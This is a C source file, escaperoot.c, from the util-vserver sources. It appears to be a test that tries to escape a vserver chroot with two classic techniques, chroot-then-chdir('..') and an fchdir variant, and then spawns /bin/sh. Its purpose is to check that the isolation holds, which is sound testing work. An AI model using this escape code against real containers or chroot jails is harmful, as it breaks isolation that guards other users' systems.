vshost-util-vserver

Build script and sources for util-vserver.
git clone https://ccx.te2000.cz/git/vshost-util-vserver
Log | Files | Refs

escaperoot.c (2977B)


      1 // $Id$
      2 
      3 // Copyright (C) 2003 Enrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
      4 // based on tests/escaperoot.cc by Jacques Gelinas
      5 //  
      6 // This program is free software; you can redistribute it and/or modify
      7 // it under the terms of the GNU General Public License as published by
      8 // the Free Software Foundation; either version 2, or (at your option)
      9 // any later version.
     10 //  
     11 // This program is distributed in the hope that it will be useful,
     12 // but WITHOUT ANY WARRANTY; without even the implied warranty of
     13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     14 // GNU General Public License for more details.
     15 //  
     16 // You should have received a copy of the GNU General Public License
     17 // along with this program; if not, write to the Free Software
     18 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
     19 
     20 /*
     21 	This program tries to escape out of a vserver using chroot flaws.
     22 	Once escaped, it exec a shell.
     23 
     24 	None of this works on 2.4.13.
     25 */
     26 #include <stdio.h>
     27 #include <unistd.h>
     28 #include <string.h>
     29 #include <errno.h>
     30 #include <sys/stat.h>
     31 #include <fcntl.h>
     32 #include <sys/wait.h>
     33 #include <limits.h>
     34 
     35 static void print_pwd()
     36 {
     37 	char path[PATH_MAX];
     38 	if (getcwd(path,sizeof(path)-1)!=NULL){
     39 		printf ("PWD: %s\n",path);
     40 	}
     41 }
     42 /*
     43 	Just set a chroot in a sub-directory and keep the
     44 	current directory behind
     45 */
     46 static void test1()
     47 {
     48 	printf ("test1\n");
     49 	print_pwd();
     50 	mkdir ("dummy_dir",0755);
     51 	if (chroot ("dummy_dir")==-1){
     52 		fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno));
     53 	}else{
     54 	        int i;
     55 		// Try to chdir into the real root
     56 		for (i=0; i<1000; i++) chdir("..");
     57 		print_pwd();
     58 		if (execl ("/bin/sh","/bin/sh",NULL)==-1){
     59 			fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno));
     60 		}
     61 	}
     62 }
     63 
     64 /*
     65 	Same as test1, except we open the current directory and do
     66 	a fchdir() to it before trying to escape to the real root.
     67 */
     68 static void test2()
     69 {
     70         int		fd;
     71   
     72 	printf ("test2\n");
     73 	print_pwd();
     74 	mkdir ("dummy_dir",0755);
     75 	fd = open (".",O_RDONLY);
     76 	if (fd == -1){
     77 		fprintf (stderr,"Can't open current directory (%s)\n",strerror(errno));
     78 	}else if (chroot ("dummy_dir")==-1){
     79 		fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno));
     80 	}else if (fchdir(fd)==-1){
     81 		fprintf (stderr,"Can't fchdir to the current directory (%s)\n"
     82 			,strerror(errno));
     83 	}else{
     84 	        int i;
     85 		// Try to chdir into the real root
     86 		for (i=0; i<1000; i++) chdir("..");
     87 		print_pwd();
     88 		if (execl ("/bin/sh","/bin/sh",NULL)==-1){
     89 			fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno));
     90 		}
     91 	}
     92 }
     93 
     94 /*
     95 	Perform the test in a sub-process so it won't affect the current one
     96 */
     97 static void dotest (void (*f)())
     98 {
     99 	pid_t pid = fork();
    100 	if (pid == 0){
    101 		f();
    102 		_exit (0);
    103 	}else if (pid == -1){
    104 		fprintf (stderr,"Can't fork (%s)\n",strerror(errno));
    105 	}else{
    106 		int status;
    107 		wait (&status);
    108 	}
    109 }
    110 
    111 int main ()
    112 {
    113 	dotest (test1);
    114 	dotest (test2);
    115 	printf ("All attempts failed\n");
    116 	return 0;
    117 }
    118 
    119